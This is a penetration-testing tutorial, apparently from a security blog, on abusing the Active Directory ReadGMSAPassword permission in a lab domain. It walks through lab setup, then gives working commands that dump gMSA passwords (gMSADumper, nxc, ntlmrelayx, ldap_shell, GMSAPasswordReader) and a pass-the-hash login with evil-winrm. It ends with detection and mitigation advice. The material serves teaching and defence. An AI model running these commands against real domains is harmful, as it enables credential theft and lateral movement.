Credential Dumping: GMSA

Abusing AD-DACL: ReadGMSAPassword

ReadGMSAPassword Attack is a technique where attackers abuse misconfigured Group Managed Service Accounts (gMSA) to retrieve their passwords. In Active Directory, only specific computers or users should have the permission to read a gMSA's password. However, if these permissions are misconfigured, an attacker with access to a machine that can query the gMSA password can extract it and use it to authenticate as that service account. Once obtained, the gMSA credentials can be used for lateral movement, privilege escalation, and persistence within the domain. Attackers can also perform Pass-the-Hash (PtH) or Overpass-the-Hash attacks using the extracted NT hash of the gMSA password, allowing them to impersonate the account and access other network resources. Properly securing gMSA permissions and monitoring account access is crucial to preventing this attack.

This guide will provide an in-depth explanation of ReadGMSAPassword, covering its working mechanism, the key attributes involved, and how attackers exploit it. Additionally, we will demonstrate an attack scenario where an attacker manipulates delegation settings to gain control over a privileged account.

Table of Contents

ReadGMSAPassword

Prerequisites

Lab Setup

Exploitation Phase

Bloodhound - Hunting for Weak Permission

Method for Exploitation – Use Alternate Authentication Material: Pass the Hash (T1550.002)

• gMSADumper
• nxc
• ntlmrelayx
• ldap_shell
• GMSAPasswordReader

Post Exploitation

Detection & Mitigation

 

Understanding Group Managed Service Account (gMSA)

A Group Managed Service Account (gMSA) is a special type of Active Directory (AD) account designed for running automated services securely. It was introduced in Windows Server 2012 to address the common problem of managing service account passwords. Unlike traditional service accounts, where passwords are often manually set and rarely changed, gMSAs are designed to be automatically managed by AD.

Why Do We Need gMSAs?

Before gMSAs, administrators often used regular user accounts for services, but this led to major security risks:

 

·        Weak or Unchanged Passwords: Service account passwords were rarely rotated, making them vulnerable to brute-force and credential theft attacks.

·        Manual Management: Admins had to manually change service account passwords, which was error-prone and difficult to scale.

·        Kerberoasting Attacks: Service account passwords could be cracked if an attacker obtained a Kerberos ticket.

 

How gMSAs Improve Security

·        Automatic Password Rotation: AD generates and updates a complex password every 30 days (default setting).

·        No Manual Password Management: Administrators never need to know or manage the password.

·        Multiple Machines Can Use a gMSA: Unlike normal service accounts, multiple computers can use the same gMSA securely.

 

How gMSAs Work - Key Concepts

·        Automatic Password Generation: The Key Distribution Service (KDS) root key in AD is responsible for generating gMSA passwords.

·        Password Storage: The password is stored in an attribute called msDS-ManagedPassword, which only authorized users and machines can retrieve.

·        Access Control: The msDS-GroupMSAMembership attribute defines which accounts can retrieve the password.

 

Key Attributes of gMSA

A gMSA has special Active Directory attributes that store its information:

·        msDS-ManagedPassword – Stores the current and previous gMSA passwords in encrypted form.

·        msDS-ManagedPasswordID – Stores the key ID used to generate the current password.

·        msDS-ManagedPasswordPreviousID – Stores the key ID used to generate the previous password.

·        msDS-GroupMSAMembership – Defines which users/computers can request the password.

·        msDS-ManagedPasswordInterval – Defines how often (in days) the password changes (default: 30 days).

 

How Attackers Can Abuse gMSAs - ReadGMSAPassword

This privilege allows you to read the password for a Group Managed Service Account (GMSA). 

The intended use of a GMSA is to allow certain computer accounts to retrieve the password for the GMSA, then run local services as the GMSA. An attacker with control of an authorized principal may abuse that privilege to impersonate the GMSA.

 

While gMSAs improve security, attackers can still abuse misconfigured gMSAs in several ways:

 

·        Stealing the gMSA Password: If an attacker has access to a machine that can retrieve the gMSA password, they can extract it using PowerShell or LDAP queries. The extracted password can then be used to authenticate as the gMSA.

·        Pass-the-Hash (PtH) Attacks: Once an attacker gets the NT hash of the gMSA password, they can perform a Pass-the-Hash attack to gain access to systems.

·        Overpass-the-Hash (Pass-the-Ticket) Attacks: Attackers can convert the extracted NT hash into a Kerberos ticket and use it to impersonate the gMSA.

·        Running Malicious Services: If an attacker has control over a computer that can use a gMSA, they can create a malicious service or scheduled task that runs as the gMSA, gaining elevated access.

 

Prerequisites

• Windows Server 2019 as Active Directory
• Kali Linux
• Tools: Bloodhound, Impacket, gMSADumper, nxc, Ldap_Shell, GMSAPasswordReader
• Windows 10/11 – As Client

Lab Setup

Create the AD Environment:

To simulate an Active Directory environment, you will need a Windows Server as a Domain Controller (DC) and a client machine (Windows or Linux) where you can run enumeration and exploitation tools.

Domain Controller:

·        Install Windows Server (2016 or 2019 recommended).

·        Promote it to a Domain Controller by adding the Active Directory Domain Services role.

·        Set up the domain (e.g., ignite.local).

User Accounts:

·        Create a standard user account named Komal.

net user komal Password@1 /add /domain

 

Set up gMSA on the Domain Controller Computer

Create a security group for gMSA Access:

Open Active Directory Users and Computers (ADUC). Right-click on Groups → Click New → Group.

 

 

Name the group (e.g., gmsa_Group). Set Group Scope to Global and Group Type to Security. Click OK to create the group.

 

Add required user and computer in this group:

 

Computers using gMSA must be in this group, or they won’t be able to retrieve the password. Here in this case computer name is MSEDGEWIN10, and user name is Komal.

 

net group "gmsa_group" "komal" /add /domain

net group "gmsa_group" "MSEDGEWIN10$" /add /domain

 

 

Create a KDS Root Key in the Domain:

The Key Distribution Service (KDS) Root Key is a cryptographic key in Active Directory (AD) that facilitates the secure generation and distribution of passwords for Group Managed Service Accounts (gMSA). It is stored within AD and ensures that only authorized Domain Controllers (DCs) can generate and manage gMSA passwords. This key plays a crucial role in maintaining the integrity and security of automatic password management within an AD environment.

The KDS Root Key is essential because gMSAs rely on automatic password rotation without manual intervention. To achieve this, AD requires a secure and consistent method to create and distribute these passwords across multiple DCs. The KDS Root Key ensures that all DCs use the same cryptographic algorithm to generate gMSA passwords, preventing discrepancies. Additionally, it restricts password access only to authorized DCs, reducing the risk of unauthorized retrieval or credential theft. Without the KDS Root Key, gMSAs cannot function, making it a mandatory component in any gMSA deployment.

To create a KDS Root Key, you run the following PowerShell command on a Domain Controller

This command creates a new KDS Root Key in Active Directory and makes it effective immediately by setting the activation time to 10 hours in the past. This ensures that the key is available for use right away.

Add-KdsRootKey -EffectiveTime ((get-date).addhours(-10))

To check if the KDS Root Key is present, run:

Get-KdsRootKey

This command retrieves and displays the existing KDS Root Keys stored in Active Directory, allowing administrators to verify their presence and status.

Create the gMSA Account:

Once the KDS Root Key is set up, the next step is to create the Group Managed Service Account (gMSA) in Active Directory. This is done using the New-ADServiceAccount PowerShell cmdlet.

Choose a unique name for the gMSA (e.g., MyGMSA1). Assign it to a specific DNS host (usually the domain).  Specify a security group that contains the computers allowed to retrieve the gMSA password.

New-ADServiceAccount -Name "MyGMSA1" -DNSHostName "WIN-QFEJMS5SM88.ignite.local"  -PrincipalsAllowedToRetrieveManagedPassword "gmsa_grp"

This command retrieves details of the gMSA account (MyGMSA1) and specifically lists the computers or security groups allowed to retrieve its password. It helps verify which systems have access to the gMSA credentials for security and troubleshooting purposes.

Get-ADServiceAccount MyGMSA1 -Properties PrincipalsAllowedToRetrieveManagedPassword

To verify the gMSA account in AD:

Open ADUC. Navigate to Managed Service Accounts under the domain. You should see MyGMSA listed.

The Remote Management Users group grants permission to use WinRM (Windows Remote Management) and PowerShell Remoting on the machine.

By adding a gMSA to this group, services running under the gMSA can remotely execute commands, manage configurations, and interact with the system using PowerShell Remoting without requiring interactive logins.

Open ADUC. Navigate to Remote Management Users under the Users container, right click on it and go to properties

Add MyGMSA account inside the Members tab, click on OK.

 

 

Assign an SPN:

To allow authentication via Kerberos, assign a Service Principal Name (SPN)

This command registers a Service Principal Name (SPN) for the gMSA account MyGMSA in the ignite.local domain. It allows the account to authenticate using Kerberos for the specified service (hackingarticles/ MSEDGEWIN10.ignite.local)

setspn -a hackingarticles/ MSEDGEWIN10.ignite.local ignite.local\MyGMSA

Install the gMSA on Target Computer (Client Machine: MSEDGEWIN10)

Computers that need to use the gMSA must install it locally.

Below command installs the Active Directory PowerShell module on a Windows machine. The module is required to manage AD objects, including gMSAs, users, and computers. It is part of RSAT (Remote Server Administration Tools) and must be installed before using AD-related cmdlets

Add-WindowsCapability -Online -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0

Below command installs the gMSA account (MyGMSA) on the local machine, allowing it to retrieve and use the managed password. The machine must be part of the security group associated with the gMSA, or the installation will fail.

Install-ADServiceAccount -Identity "MyGMSA"

Below command verifies whether the gMSA account (MyGMSA) is correctly installed and configured on the local machine. It checks if the machine can retrieve the gMSA password and use it for authentication. A successful test confirms that the gMSA is ready for use.

Test-ADServiceAccount -Identity "MyGMSA"

The gMSA is now fully set up and ready for use.

 

Exploitation Phase

Bloodhound - Hunting for Weak Permission

Use BloodHound to Confirm Privileges: You can use BloodHound to verify that Komal can retrieve the password for the GMSA MYGMSA$@IGNITE.LOCAL.

bloodhound-python -u komal -p Password@1 -ns 192.168.1.48 -d ignite.local -c All

 

From the graphical representation of Bloodhound, the tester would like to identify the outbound object control for selected user where the group degree of object control value is equal to 1.

BloodHound helps identify delegation misconfigurations that can be exploited for ReadGMSAPassword attacks.

MYGMSA$@IGNITE.LOCAL is a Group Managed Service Account. The group GMSA_GROUP@IGNITE.LOCAL can retrieve the password for the GMSA MYGMSA$@IGNITE.LOCAL

 

Method for Exploitation – Use Alternate Authentication Material: Pass the Hash (T1550.002)

An attacker can read the GMSA password of the account this ACE (ReadGMSAPassword) applies to.

gMSADumper

On UNIX-like systems, gMSADumper (Python) can be used to read and decode gMSA passwords. It supports cleartext NTLM, pass-the-hash and Kerberoas authentications.

Clone the repository:

git clone https://github.com/micahvandeusen/gMSADumper

cd gMSADumper

And, run the script

python3 gMSADumper.py -u komal -p Password@1 -d ignite.local -l 192.168.1.48

nxc

Alternatvely, nxc tool can used to enumerate Group Managed Service Accounts (gMSA) in Active Directory using LDAP queries

nxc ldap ignite.local -u komal -p Password@1 --gmsa

 

NTLMRelayx

Impacket's ntlmrelayx (Python) tool can be used to read and decode gMSA passwords.

impacket-ntlmrelayx -t ldaps://192.168.1.48 -debug --dump-gmsa --no-dump --no-da --no-acl --no-validate-privs

Trigger a callback via browser, using komal user’s credentials

After a brief wait, we receive an HTTP connection from the komal user’s account along with gMSA NTLM credentials.

Ldap_shell

This can also be achieved using ldap_shell:

Clone the repository and install:

git clone https://github.com/PShlyundin/ldap_shell

cd ldap_shell

python3 -m pipx install .

Use get_laps_gmsa option, after getting shell as komal user.

ldap_shell ignite.local/komal:Password@1 -dc-ip 192.168.1.48

Windows Exploitation

GMSAPasswordReader

On Windows systems (komal user’s client machine), GMSAPasswordReader (C#) can be used to read gMSA passwords.

Download the exe from https://github.com/ricardojba/Invoke-GMSAPasswordReader

Invoke-GMSAPasswordReader -Command "--AccountName MyGMSA"

 

Post-Exploitation

Perform lateral movement using evil-winrm, using pass the hash technique

evil-winrm -i 192.168.1.48 -u MyGMSA$ -H 942bf4cc93e95fb0b7f98f9c5346ceae

 

Detection & Mitigation

Detection

Detecting unauthorized reads of the msDS-ManagedPassword attribute can be challenging, especially if performed by a computer account. However, regular users should never access gMSA passwords, making it crucial to monitor Active Directory event logs for any non-computer account attempting to read them.

Additionally, track changes to msDS-GroupMSAMembership, which controls which entities can retrieve gMSA passwords.

Event ID 4662 (Audit Directory Service Access) logs access attempts to AD objects based on system access control lists (SACLs). To detect gMSA password reads, filter for:

• Operation Type: Object Access
• Accesses: Read Property
• Properties: This is the GUID of the msDS-ManagedPassword attribute.

Mitigation

Mitigating gMSA exploitation requires securing Active Directory privileges to prevent unauthorized modification of gMSA permissions or password access. Implement the following best practices:

• Enforce Least Privilege: Regularly audit and restrict permissions to modify gMSA accounts, ensuring only necessary entities have access.
• Monitor gMSA Access: Continuously review the msDS-GroupMSAMembership attribute to ensure only authorized computer accounts can retrieve the password.
• Enable Real-Time Alerts: Set up monitoring to detect and alert on any changes to gMSA permissions, allowing swift response to potential threats.